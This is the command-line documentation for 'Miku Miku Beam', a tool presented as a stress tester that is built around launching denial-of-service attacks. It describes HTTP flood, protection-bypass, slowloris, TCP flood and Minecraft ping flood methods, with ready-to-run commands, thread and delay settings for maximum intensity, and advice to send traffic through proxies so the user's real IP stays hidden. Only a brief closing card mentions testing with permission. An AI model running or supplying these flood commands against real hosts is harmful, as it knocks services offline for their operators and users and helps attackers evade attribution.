> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/sammwyy/mikuMikuBeam/llms.txt
> Use this file to discover all available pages before exploring further.

# CLI Usage

> Complete guide to using the Miku Miku Beam command-line interface

## Overview

The Miku Miku Beam CLI (`mmb`) provides a powerful command-line interface for launching network stress testing attacks. It supports multiple attack methods, proxy configurations, and customizable parameters.

## Installation

After building the project, the `mmb` binary will be available in the `bin/` directory:

```bash theme={null}
./bin/mmb --help
```

## Basic Syntax

```bash theme={null}
mmb [global-flags] attack [method] [target] [flags]
```

## Attack Command

The primary command for launching attacks is `attack`.

### Syntax

```bash theme={null}
mmb attack [method] [target] [flags]
```

### Attack Methods

Miku Miku Beam supports the following attack methods:

<CardGroup cols={2}>
  <Card title="http_flood" icon="water">
    Standard HTTP flood attack using GET/POST requests
  </Card>

  <Card title="http_bypass" icon="shield-halved">
    HTTP attack designed to bypass basic protections
  </Card>

  <Card title="http_slowloris" icon="hourglass">
    Slowloris attack that keeps connections open
  </Card>

  <Card title="tcp_flood" icon="network-wired">
    TCP-level flood attack
  </Card>

  <Card title="minecraft_ping" icon="cube">
    Minecraft server ping flood attack
  </Card>
</CardGroup>

### Available Flags

<ParamField path="--duration" type="int" default="60">
  Duration of the attack in seconds
</ParamField>

<ParamField path="--delay" type="int" default="500">
  Delay between packets in milliseconds
</ParamField>

<ParamField path="--packet-size" type="int" default="512">
  Size of each packet in bytes
</ParamField>

<ParamField path="--threads" type="int" default="0">
  Number of threads to use (0 = number of CPU cores)
</ParamField>

<ParamField path="--no-proxy" type="boolean" default="false">
  Allow running attacks without proxies (not recommended)
</ParamField>

<ParamField path="--verbose" type="boolean" default="false">
  Show detailed attack logs including individual packet information
</ParamField>

### Global Flags

<ParamField path="--config" type="string">
  Path to configuration file (TOML format)
</ParamField>

## Examples

### Basic HTTP Flood Attack

```bash theme={null}
mmb attack http_flood http://example.com
```

This launches a 60-second HTTP flood attack (default duration) against `example.com` using all available proxies.

### Custom Duration and Delay

```bash theme={null}
mmb attack http_flood http://example.com --duration 120 --delay 200
```

Runs for 120 seconds with 200ms delay between packets.

### High-Intensity Attack

```bash theme={null}
mmb attack tcp_flood tcp://192.168.1.100:80 --threads 16 --delay 100 --packet-size 1024
```

Launches a TCP flood with:

* 16 threads
* 100ms packet delay
* 1024-byte packets

### Verbose Mode

```bash theme={null}
mmb attack http_bypass https://target.com --verbose
```

Enables detailed logging showing individual packet information.

### With Custom Configuration

```bash theme={null}
mmb --config /path/to/config.toml attack http_flood http://example.com
```

Uses a custom configuration file for proxy and user agent settings.

### Without Proxies

```bash theme={null}
mmb attack http_flood http://example.com --no-proxy
```

<Warning>
  Running without proxies exposes your real IP address. Only use `--no-proxy` for testing purposes.
</Warning>

## Output Format

During an attack, the CLI displays real-time statistics:

```
Starting http_flood against http://example.com with 1250 proxies
15:04:05 PPS:850 Total:850 Proxies:1250
15:04:06 PPS:1024 Total:1874 Proxies:1250
15:04:07 PPS:1156 Total:3030 Proxies:1250
```

### Output Fields

<ResponseField name="Timestamp" type="string">
  Current time in HH:MM:SS format
</ResponseField>

<ResponseField name="PPS" type="int">
  Packets per second (current rate)
</ResponseField>

<ResponseField name="Total" type="int">
  Total packets sent since attack started
</ResponseField>

<ResponseField name="Proxies" type="int">
  Number of proxies being used
</ResponseField>

### Verbose Output

With `--verbose` enabled, additional log information is displayed:

```
15:04:05 PPS:850 Total:850 Proxies:1250 [HTTP] GET / -> 200 OK
15:04:06 PPS:1024 Total:1874 Proxies:1250 [HTTP] POST /api -> 503 Service Unavailable
```

## Stopping an Attack

Press `Ctrl+C` to gracefully stop an attack:

```bash theme={null}
^C
Stopping...
```

The attack will terminate immediately and release all resources.

## Exit Codes

<ResponseField name="0" type="success">
  Attack completed successfully
</ResponseField>

<ResponseField name="2" type="error">
  Invalid command usage or arguments
</ResponseField>

<ResponseField name="1" type="error">
  Runtime error (e.g., no proxies available)
</ResponseField>

## Proxy Requirements

Different attack methods support different proxy types:

<Accordion title="HTTP Flood & HTTP Bypass">
  Supports: HTTP, HTTPS, SOCKS4, SOCKS5
</Accordion>

<Accordion title="HTTP Slowloris">
  Supports: SOCKS4, SOCKS5 only
</Accordion>

<Accordion title="TCP Flood">
  Supports: SOCKS4, SOCKS5 only
</Accordion>

<Accordion title="Minecraft Ping">
  Supports: SOCKS4, SOCKS5 only
</Accordion>

<Info>
  The CLI automatically filters proxies based on the attack method. If no compatible proxies are found, the attack will fail unless `--no-proxy` is specified.
</Info>

## Target Formats

Targets can be specified in various formats depending on the attack method:

<CodeGroup>
  ```bash HTTP Attacks theme={null}
  mmb attack http_flood http://example.com
  mmb attack http_flood https://example.com:8443
  mmb attack http_bypass http://192.168.1.100:80/path
  ```

  ```bash TCP Attacks theme={null}
  mmb attack tcp_flood tcp://192.168.1.100:80
  mmb attack tcp_flood 192.168.1.100:9000
  ```

  ```bash Minecraft Attacks theme={null}
  mmb attack minecraft_ping mc.example.com:25565
  mmb attack minecraft_ping 192.168.1.100:25565
  ```
</CodeGroup>

## Performance Tuning

### Thread Configuration

By default, the CLI uses one thread per CPU core. Adjust for your system:

<Steps>
  <Step title="Low-end systems">
    Use fewer threads to avoid overwhelming the system:

    ```bash theme={null}
    mmb attack http_flood http://example.com --threads 4
    ```
  </Step>

  <Step title="High-end systems">
    Increase threads for maximum throughput:

    ```bash theme={null}
    mmb attack http_flood http://example.com --threads 32
    ```
  </Step>

  <Step title="Auto-detect (recommended)">
    Let the CLI use NumCPU automatically:

    ```bash theme={null}
    mmb attack http_flood http://example.com
    ```
  </Step>
</Steps>

### Packet Delay

Lower delay = higher attack intensity:

* `--delay 1000` (1 second) - Low intensity
* `--delay 500` (500ms) - Medium intensity (default)
* `--delay 100` (100ms) - High intensity
* `--delay 10` (10ms) - Maximum intensity

<Warning>
  Very low delay values (\< 50ms) may cause high CPU usage and system instability.
</Warning>

## Troubleshooting

### No Proxies Available

```
No proxies available (file: data/proxies.txt). Use --no-proxy to proceed.
```

**Solution:** Either add proxies to your configuration file or use `--no-proxy` flag.

### Unsupported Attack Method

If you specify an invalid method, Cobra will show available options:

```bash theme={null}
mmb attack invalid_method http://example.com
```

### Connection Refused

If the target is unreachable, individual packets will fail silently. Use `--verbose` to see connection errors.

## Best Practices

<CardGroup cols={2}>
  <Card title="Use Proxies" icon="shield">
    Always use proxies to protect your identity and distribute the load
  </Card>

  <Card title="Start Small" icon="gauge-simple-low">
    Begin with shorter durations and fewer threads to test your setup
  </Card>

  <Card title="Monitor Resources" icon="chart-line">
    Watch CPU and memory usage, especially with high thread counts
  </Card>

  <Card title="Legal Compliance" icon="scale-balanced">
    Only test systems you own or have explicit permission to test
  </Card>
</CardGroup>
